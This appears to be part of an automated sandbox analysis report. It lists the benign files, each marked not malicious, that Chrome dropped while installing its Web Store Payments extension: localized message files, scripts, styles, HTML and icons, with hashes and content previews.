Entropy (8bit):	4.788896709100935
Encrypted:	false
SSDEEP:	12:YGGYpg6hVGZE3aFMaap8Sp5b6hwUwrdIWO/NrnLAOK:YHYpg6hPaeaap8Sr6hwXIWOFvAOK
MD5:	6E1BE9CEE29818E54E3D1C7D483DD6F7
SHA1:	B9DD926B60E225C5BE8A1DBB7EF3ACE422A204A9
SHA-256:	E348583D8C53F4A5DEC4551DA93785C17108466E427E06F84708AA383EA0E326
SHA-512:	3ADB32C0F098E064B774E7E7F615F54C44ADFB3BFC554B06A17048C6077C5885D42BD89F6733D64D65EA1785033B36B386EF0B6661FD539855484EA5A2900BB7
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Appen \u00e4r inte tillg\u00e4nglig f\u00f6r tillf\u00e4llet."},"craw_connect_to_network":{"message":"Anslut till ett n\u00e4tverk."},"app_name":{"message":"Betalning via Chrome Web Store"},"app_description":{"message":"Betalning via Chrome Web Store"},"iap_unavailable":{"message":"Betalning i appen \u00e4r inte tillg\u00e4ngligt f\u00f6r n\u00e4rvarande."},"please_sign_in":{"message":"Logga in i Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\th\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	4.09652661599029
Encrypted:	false
SSDEEP:	24:YHYpqQV8k6Nvgnd0BQV3d0BQV5pWdPiWdBy7MIoWOFvAOK:YHYpqQ+k6NUaBQlaBQXpW3dBUMIehQ
MD5:	283D5177FB2FC7082967988E2683EC7C
SHA1:	DEDE43967F3CEF9D9325F140872A63BFCE2AA8C5
SHA-256:	E8D5820BDE31B66A7641068FDEDD1A5F20C1A783460B98887A670F38422099CF
SHA-512:	74413C00C58B7136038D4C41D5C7C79EC02A9830779ABB719D72536B74C5E338B1548A20290559FB3F4E2A938B728CF99041050DD1970848EE9A6590EB0AB3E4
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u0e44\u0e21\u0e48\u0e2a\u0e32\u0e21\u0e32\u0e23\u0e16\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19\u0e41\u0e2d\u0e1b\u0e44\u0e14\u0e49\u0e43\u0e19\u0e02\u0e13\u0e30\u0e19\u0e35\u0e49"},"craw_connect_to_network":{"message":"\u0e42\u0e1b\u0e23\u0e14\u0e40\u0e0a\u0e37\u0e48\u0e2d\u0e21\u0e15\u0e48\u0e2d\u0e01\u0e31\u0e1a\u0e40\u0e04\u0e23\u0e37\u0e2d\u0e02\u0e48\u0e32\u0e22"},"app_name":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e02\u0e2d\u0e07 Chrome \u0e40\u0e27\u0e47\u0e1a\u0e2a\u0e42\u0e15\u0e23\u0e4c"},"app_description":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e02\u0e2d\u0e07 Chrome \u0e40\u0e27\u0e47\u0e1a\u0e2a\u0e42\u0e15\u0e23\u0e4c"},"iap_unavailable":{"message":"\u0e23\u0e30\u0e1a\u0e1a\u0e0a\u0e33\u0e23\u0e30\u0e40\u0e07\u0e34\u0e19\u0e43\u0e19\u0e41\u0e2d\u0e1b\u0e1e\u0e25\u0e34\u0e40\u0e04\u0e0a\u0e31\u0e19\u0e44\u0e21\u0e48\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e4

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\tr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	572
Entropy (8bit):	4.93347615778905
Encrypted:	false
SSDEEP:	12:YGGYpFh852XmYG45SfVVh5SX8pFBkw452kK/O/NrnLAOK:YHYpFhJ2Y95AJ5I8pFhlkwOFvAOK
MD5:	1BF2AA4BB904B406C9C2B7DF769BB540
SHA1:	8D29C4B7A79AB0657747CA194D1934292A46D2A8
SHA-256:	0F2E8285BA3E2BDBA6B16435FB941B07159AACFAC80196AD5941B79AB52B712A
SHA-512:	0DF48AE0A518A940489E91D8A0D6E7E47A3153747358E06CD792BFA3D826F47FA1502268F602E7D7EDFC1C111AEB3FAF0E67F845986DDA77E2FC4B3336BCF46C
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Uygulama \u015fu anda kullan\u0131lam\u0131yor."},"craw_connect_to_network":{"message":"L\u00fctfen bir a\u011fa ba\u011flan\u0131n."},"app_name":{"message":"Chrome Web Ma\u011fazas\u0131 \u00d6demeleri"},"app_description":{"message":"Chrome Web Ma\u011fazas\u0131 \u00d6demeleri"},"iap_unavailable":{"message":"Uygulama \u0130\u00e7i \u00d6demeler \u015fu anda kullan\u0131lamaz."},"please_sign_in":{"message":"L\u00fctfen Chrome'da oturum a\u00e7\u0131n."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\uk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	4.268588181103308
Encrypted:	false
SSDEEP:	24:YHYpNQVVQVrll5eN7jAQVF0Zz0id0Zz0iRp00AQVqaQVVQVSMQVvjlkYHA1RnWOi:YHYpNQPQZ75exkQAz0/z00p2QAaQPQQN
MD5:	FD1C9890679036E1AD914218753B1E8E
SHA1:	58160F7A0FC94110A2876223E406A517C8E2660B
SHA-256:	39D19CC3387FFCE13A8F11DAD72E2FCBB7CD1A4367EC699AD7C40D6F52ECE717
SHA-512:	03E81C398EE6A5DC65A40CA07E1A4CBEC2662D2C151A76C9ECB813587D672AC71311C39C5C5DA8A1AE78A3A6CE3938609D1365F7819424FC34289C7743DF00D2
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u0430 \u0442\u0438\u043c\u0447\u0430\u0441\u043e\u0432\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430."},"craw_connect_to_network":{"message":"\u041f\u0456\u0434\u2019\u0454\u0434\u043d\u0430\u0439\u0442\u0435\u0441\u044f \u0434\u043e \u043c\u0435\u0440\u0435\u0436\u0456."},"app_name":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0412\u0435\u0431-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0443 Chrome"},"app_description":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0412\u0435\u0431-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0443 Chrome"},"iap_unavailable":{"message":"\u041f\u043b\u0430\u0442\u0435\u0436\u0456 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0443 \u0437\u0430\u0440\u0430\u0437 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0456."},"please_sign_in":{"message":"\u0423\u0432\u0456\u0439\u0434\u0456\u0442\u044c \u0443

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\vi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	671
Entropy (8bit):	4.846531831162704
Encrypted:	false
SSDEEP:	12:YGGYpqp80NORWLNiNI2k8yypSNiNI2k8yy+piNiNI2miI80NO5WO/NrnLAOK:YHYpmvNcCgWgUpudiIvN6WOFvAOK
MD5:	7D52E9357AB847B4CC8DBC8CC4DA93F5
SHA1:	AF877F3992D8056C8F08462BD575595BF79FE5B0
SHA-256:	313F71F3FFDCEFC76FC746FF2029FBF8FBE38BD83DCF952FC3DDCD8AA96D5CFB
SHA-512:	E66E7FACDF35A0F72AC61DEAAEC43A2DAC976CADEA146EBE3E90E739178F173E32ADCF909F05F2657F2AD66E2ECB6015F6733CEA4B9E42337246469F89D3A12F
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u1ee8ng d\u1ee5ng hi\u1ec7n kh\u00f4ng kh\u1ea3 d\u1ee5ng."},"craw_connect_to_network":{"message":"Vui l\u00f2ng k\u1ebft n\u1ed1i v\u1edbi m\u1ea1ng."},"app_name":{"message":"Thanh to\u00e1n tr\u00ean c\u1eeda h\u00e0ng Chrome tr\u1ef1c tuy\u1ebfn"},"app_description":{"message":"Thanh to\u00e1n tr\u00ean c\u1eeda h\u00e0ng Chrome tr\u1ef1c tuy\u1ebfn"},"iap_unavailable":{"message":"Thanh to\u00e1n trong \u1ee9ng d\u1ee5ng hi\u1ec7n kh\u00f4ng kh\u1ea3 d\u1ee5ng."},"please_sign_in":{"message":"Vui l\u00f2ng \u0111\u0103ng nh\u1eadp v\u00e0o Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\zh_CN\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	602
Entropy (8bit):	4.917339139635893
Encrypted:	false
SSDEEP:	12:YGGYpqrL0MdI1i1kovbdKD/vbdKopqIQfvJ19KhO/NrnLAOK:YHYpMLfjvsTvsop3QPAOFvAOK
MD5:	393680A09DEE0CB9046A62BDC0750B74
SHA1:	54E7F8215061A4AB241B87AE4E81C8F860EB2C2B
SHA-256:	D5FB52C2897FD5C294784DB63C933AC77C609D10AC91431CCB295D87452CBEE6
SHA-512:	14C214CAEFC69B085E918F492C75E2A48BC6A9C2D347D29403B26E69A474825E302A3E106710E5C04E047BD57EE684A67846A5DE956705FFBF41BB0614B8CEB2
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u5e94\u7528\u76ee\u524d\u65e0\u6cd5\u4f7f\u7528\u3002"},"craw_connect_to_network":{"message":"\u8bf7\u8fde\u63a5\u5230\u7f51\u7edc\u3002"},"app_name":{"message":"Chrome \u7f51\u4e0a\u5e94\u7528\u5e97\u4ed8\u6b3e\u7cfb\u7edf"},"app_description":{"message":"Chrome \u7f51\u4e0a\u5e94\u7528\u5e97\u4ed8\u6b3e\u7cfb\u7edf"},"iap_unavailable":{"message":"\u76ee\u524d\u65e0\u6cd5\u4f7f\u7528\u5e94\u7528\u5185\u4ed8\u6b3e\u3002"},"please_sign_in":{"message":"\u8bf7\u767b\u5f55 Chrome\u3002"},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\zh_TW\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	680
Entropy (8bit):	4.916281462386558
Encrypted:	false
SSDEEP:	12:YGGYpqI8ROuDWMg0kP2uD/vbd8Em2uD/vbd8RpqI8RauDRsXwvC/KhO/NrnLAOK:YHYp38suDUSuD/v2OuD/v2Rp38cuDGbq
MD5:	CD30D132A7213FC1B7E03C6D0A49CCF7
SHA1:	1141DED39023B821FE9BB4682E0D1EB5469DAF76
SHA-256:	5717F13D10E63255947F750C79CBB6BD04A6D97A08261E8D5764AF5EB0561A28
SHA-512:	0DCD3CEB93AB58655551B00D7AD4FE4A6F1F6B24EDD31244FF9B57AE529BF1A9E0220A6258C64790F9CC9F026AB9DA3AEE1575809CC94DC4F8754194C958FD19
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"\u76ee\u524d\u7121\u6cd5\u4f7f\u7528\u9019\u500b\u61c9\u7528\u7a0b\u5f0f\u3002"},"craw_connect_to_network":{"message":"\u8acb\u9023\u4e0a\u7db2\u8def\u3002"},"app_name":{"message":"Chrome \u7dda\u4e0a\u61c9\u7528\u7a0b\u5f0f\u5546\u5e97\u4ed8\u6b3e\u7cfb\u7d71"},"app_description":{"message":"Chrome \u7dda\u4e0a\u61c9\u7528\u7a0b\u5f0f\u5546\u5e97\u4ed8\u6b3e\u7cfb\u7d71"},"iap_unavailable":{"message":"\u76ee\u524d\u7121\u6cd5\u4f7f\u7528\u61c9\u7528\u7a0b\u5f0f\u5167\u4ed8\u6b3e\u529f\u80fd\u3002"},"please_sign_in":{"message":"\u8acb\u767b\u5165 Chrome\u3002"},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_metadata\verified_contents.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	7780
Entropy (8bit):	5.791315351651491
Encrypted:	false
SSDEEP:	192:RktDNJ2UzsL5KcASyoH+CouKP/iNGRo/oRHMIT:AZQflcsU
MD5:	0834821960CB5C6E9D477AEF649CB2E4
SHA1:	7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588
SHA-256:	52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69
SHA-512:	9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3FC4
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHsicGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwYXRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGgiOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6Il9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2xvY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jYWxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\craw_background.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	544643
Entropy (8bit):	5.385396177420207
Encrypted:	false
SSDEEP:	6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
MD5:	6EEBED29E6A6301E92A9B8B347807F5F
SHA1:	65DFB69B650560551110B33DCBA50B25E5B876DE
SHA-256:	04CD9494B0ED83924DAD12202630B20D053D9E2819C8E826A386C814CC0A1697
SHA-512:	FEDE6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBE5CF6AF7BE97BF2
Malicious:	false
Reputation:	unknown
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var d,e=e\|\|{};e.scope={};e.arrayIteratorImpl=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arrayIterator=function(a){return{next:e.arrayIteratorImpl(a)}};e.ASSUME_ES5=!1;e.ASSUME_NO_NATIVE_MAP=!1;e.ASSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e.ASSUME_ES5\|\|"function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\craw_window.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	261316
Entropy (8bit):	5.444466092380538
Encrypted:	false
SSDEEP:	3072:I5vU7I6s2M9duIWFCbmYJ4tnFWdqpMad2vywhIp81QFv9F9nNsZgiDdOFlV/mZmc:I5vqFCb2p8Gx9FNNsZ9Dd/ceR
MD5:	1709B6F00A136241185161AA3DF46A06
SHA1:	33DA7D262FFED1A5C2D85B7390E9DBC830CBE494
SHA-256:	5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265C0EE6F9AC8
SHA-512:	26835B4C050F53AD2DDB84469DF9A84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D19CB
Malicious:	false
Reputation:	unknown
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var b,k=k\|\|{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.createTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};k.arrayIterator=function(a){return{next:k.arrayIteratorImpl(a)}};k.makeIterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return c?c.call(a):k.arrayIterator(a)};.k.arrayFromIterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromIterable=function(a){return a instanceof Array?a:k.arrayFromIterator(k.makeIterator(a))};k.ASSUME_ES5=!1;k.ASSUME_NO_NATIVE_MAP=!1;k.ASSUME_NO_NATIVE_SET=!1;k.SIMPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.k.objectCreate=k.ASSUME_ES5\|\|"function"==typeof Object.cre

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\css\craw_window.css Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	4.912380256743454
Encrypted:	false
SSDEEP:	24:LalZ74H+rMwJHwIodHRmxt3jiu1iu1RDpfeWlMl548wJHwDwCapt/VMYXj8Eq27K:Z+rMm71le88S1tWYXmrVZFH
MD5:	67BF9AABE17541852F9DDFF8245096CD
SHA1:	A4AC74DD258E8E0689034FAA1B15A5C7C56DC3BB
SHA-256:	10DFBD2D98950B79EE12F6B8E3885AABE31543048DE56AD4FC0A5E34D0D9D4EC
SHA-512:	298FA132C6F122798FDB9BC6DE8024915147ADC20355B56A92F0ED9ACCE4549BE6E7F42212E07DCA166E31624D4E66E299565845D4BA1C51CA935050641B61FE
Malicious:	false
Reputation:	unknown
Preview:	html, body {. margin: 0;. overflow: hidden;.}..webview {. width: 100%;. height: 100%;. min-height: 100%;. position: absolute;.}...craw_overlay {. position: absolute;.. left: 0;. top: 0;. right: 0;. bottom: 0;.. background-color: white;.. -webkit-transition: opacity 250ms linear;.. display: -webkit-flex;. -webkit-flex-direction: column;. -webkit-flex: 1 0%;. -webkit-align-items: center;. -webkit-justify-content: center;.. -webkit-app-region: drag;.}...craw_overlay img {. margin: 16px;.}..#loading_overlay {. opacity: 1;.}..#offline_overlay {. opacity: 0;. display: none;.}..#offline_overlay > img {. -webkit-filter: saturate(0%);.}..#offline_overlay > span {. font-family: 'Open Sans', 'Deja Vu Sans', Arial, sans-serif;. font-size: 15px;. line-height: 21px;. color: #8d8d8d;. display: block;.}..#loading_splash {. width: 128px;. height: 128px;.}..#drag_overlay {. position: absolute;. left: 0;. top: 0;. right: 0;. bottom: 0;. pointer-events: none;. -webkit

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\html\craw_window.html Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	810
Entropy (8bit):	4.723481385335562
Encrypted:	false
SSDEEP:	12:hYenuEJIig5fRpvV4AEdN2sAAuzg/7RwQuLYpUH9KfRnQBGgZKy3QGgjPSWZDQL:hYeLJKTVNEuLAuzg/twQucpS9bj3
MD5:	34A839BC40DEBC746BBD181D9EF9310C
SHA1:	8B4EAA74D31EED5B0BABA3CA5460201F6B10DA46
SHA-256:	BB8742615E4CD996AE5D0200E443AE6A6F0B473255F03AFFDB8FB4660DE4554D
SHA-512:	EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52F8EAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF281EFF
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>. <head>. <link href="/css/craw_window.css" rel="stylesheet">. <script src="/craw_window.js"></script>. </head>. <body>. <webview></webview>. <div class="craw_overlay" id="loading_overlay">. <img src="/images/icon_128.png" />. <img src="/images/flapper.gif" />. </div>. <div class="craw_overlay" id="offline_overlay">. <img src="/images/icon_128.png" />. <span id="app_unavailable"></span>. <span id="connect_to_network"></span>. </div>. <div id="drag_overlay"></div>. <div id="top_bar">. <div id='close_button'>. <img src='/images/topbar_floating_button_close.png'/>. </div>. <div id='maximize_button'>. <img src='/images/topbar_floating_button_maximize.png'/>. </div>. </div>. </body>.</html>.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\flapper.gif Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 30 x 30
Category:	dropped
Size (bytes):	70364
Entropy (8bit):	7.119902236613185
Encrypted:	false
SSDEEP:	768:g5TXOSBAqNIPmA8NcjCWdM0VFMJEwavTeElfWupav5TXg7wV+irIPny9MTVQHydi:g5KSmiIPmAhZWiMsDfWug7DmqM6HybkF
MD5:	398ABB308EEBC355DA70BCE907B22E29
SHA1:	CFFB77B8A1724B8F81D98C6D6AD0071D10162252
SHA-256:	2B73533F47A99FFEA9CC405FFAFA9C4C53623F62487AEBFBA415945120B22040
SHA-512:	FC7A56FC8A61A582161874B54ADBAD30A84840190008EDB0B6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385A
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.......................................................!.......!..NETSCAPE2.0.....,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,............................................................................................................'..w=.....\.)._6.k..OF...n.#\~"....2b3..I.)..eu.Q.`.e......gr.?>.s.I0.....@.~.Tr.[8.+.,.;..EE....S.*f.....,.....B8/D..;.9.q......ukC...r.I.....j......BGY...o2J....+O4....X4.....cH%7....I.....0H!.!.....!.,.............................................................................................................................................................................................................p8.a$....hh@.4....X,A.0L..(....JX.j...,..........z.X.Q....jB.d....B..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\icon_128.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4364
Entropy (8bit):	7.915848007375225
Encrypted:	false
SSDEEP:	96:YjlLDJjTvXUtNvX8dgb9HT6y8nviyHG5iCRYtIP:YtNTfUzvX8KM+MGRsIP
MD5:	4DBC9F9E6F5A08D299BAC9E54DF07694
SHA1:	BB38F5DE34B1E0BE1109220BA55271087A4D9EA5
SHA-256:	91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEB0E
SHA-512:	A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC14170912
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....IDATx..yp.....gF#.:,[H.l.l..8...`/.k....,!a7Km...E...Te..T.....J...p....%.(....+...3....eY.e...L.o...5....h4...\....{?....~.u.`0.....`0.....`0.....`.Y......[(.......).4....ai..w38.+....Bf././..]...{......8...3.....3W~OJ.. /...u6V.C..U.0.+._=.c..9.X.?....L....S@.L...m.0..>.C...L\|TF.p5..f4M.,.V....8..a.<...RP..@)E,..E"...h.....!...-....,I..T..........m..._[[{w{{....{.^......M.x..h4.h.....\.R.E....j).7.....h4.A.E....,. ...iii.Vj?2...=/.B.FK9P..@)=Rj..D".Y...2.B..x.}0...&J...2.......f.O..e.H.....!.J)'I..R....B............QJ;K..L...L.l".L~mhh.R.@).FFF~.L&...~.B.......u.........}.....~.....f..yUU...........^M...6......].,w.e..~.!$.C.R.....E(%e9.,....k..@...W8.........@...........O..@%.~..@.S..P.....`Tp...."...?ME..c......s...`..S1...7.b..aNE..k...3.yP.}.Ch.}......B..........IPE..C.<....T....k......Z..o_......g........P..A=y.J.)h..@.q.-.].AU.4...F.M.....y%B]+ .\.~..9......:..=...r.....E].o...F..P........i...\|....

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\icon_16.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	558
Entropy (8bit):	7.505638146035601
Encrypted:	false
SSDEEP:	12:6v/7vyVgSKYsfFzXxXsrPfA+b0YX+5IOUWCQKznuow7:6yVnKYsfFzhXsrIq0YXmgQGn6
MD5:	FB9C46EA81AD3E456D90D58697C12C06
SHA1:	5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE
SHA-256:	016CA659BA080E194FBFC0929602B16506ED60AA6019FAA51410C4FD93B583E8
SHA-512:	ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCA5134903E4C1AA3D54BC7C5ED3E65B50C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8...Mk.Q...;... .....F..QW.....F....J.?.w..7~......'.Q..B]... .QS...M&_w..b&.\|`......p...f.?.D$.y^..........y...\..Z..t6..oRj.@&.u..G.qN).t.-V.>(.N.Ep]wFk.60o.]0.`Y..cT..Y.Tb.`DF.d..s.Z..E..9.4._C.._...%..*.^....4.l...Y..X..R..../...Wj+w0[.].._B.k.${.\.>.%...........lz .w.ALxo.2;..a...".p..S..&..uXS...<..6..[..zD.._.N+w.WbM7ye6X<...'(,=.r}........$f..5..P....k..."..8.s.<zgSm@.....).Y.....:e..\|.....F...I..A$.....T?.....m....8.........N...z.....V..vd.h'....C.?.....H.;]..C.M.....9.b......IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\images\topbar_floating_button.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.475799237015411
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/RPJDmV7bScsP4a9zln94FptVp:6v/lhPKM4nDspnAkZJNmgPdln2TTp
MD5:	8803665A6328D23CC1014A7B0E9BE295
SHA1:	9DA6EE729D5A6E9F30658B8EC954710F107A641F
SHA-256:	D5F9234DC36E7FFA85F35B2359A4F82276F8395EFA76E4553507EA990B27FC6C
SHA-512:	ECD9E71B8BA1ED8BD4CA5A0936CB66A83611C4ABCBDA76C250F4CDF4AD80320212E8F5EEB79A38910718F8346ECC1AD580A3FA835EC2B22BE497F36899FB5930
Malicious:	false
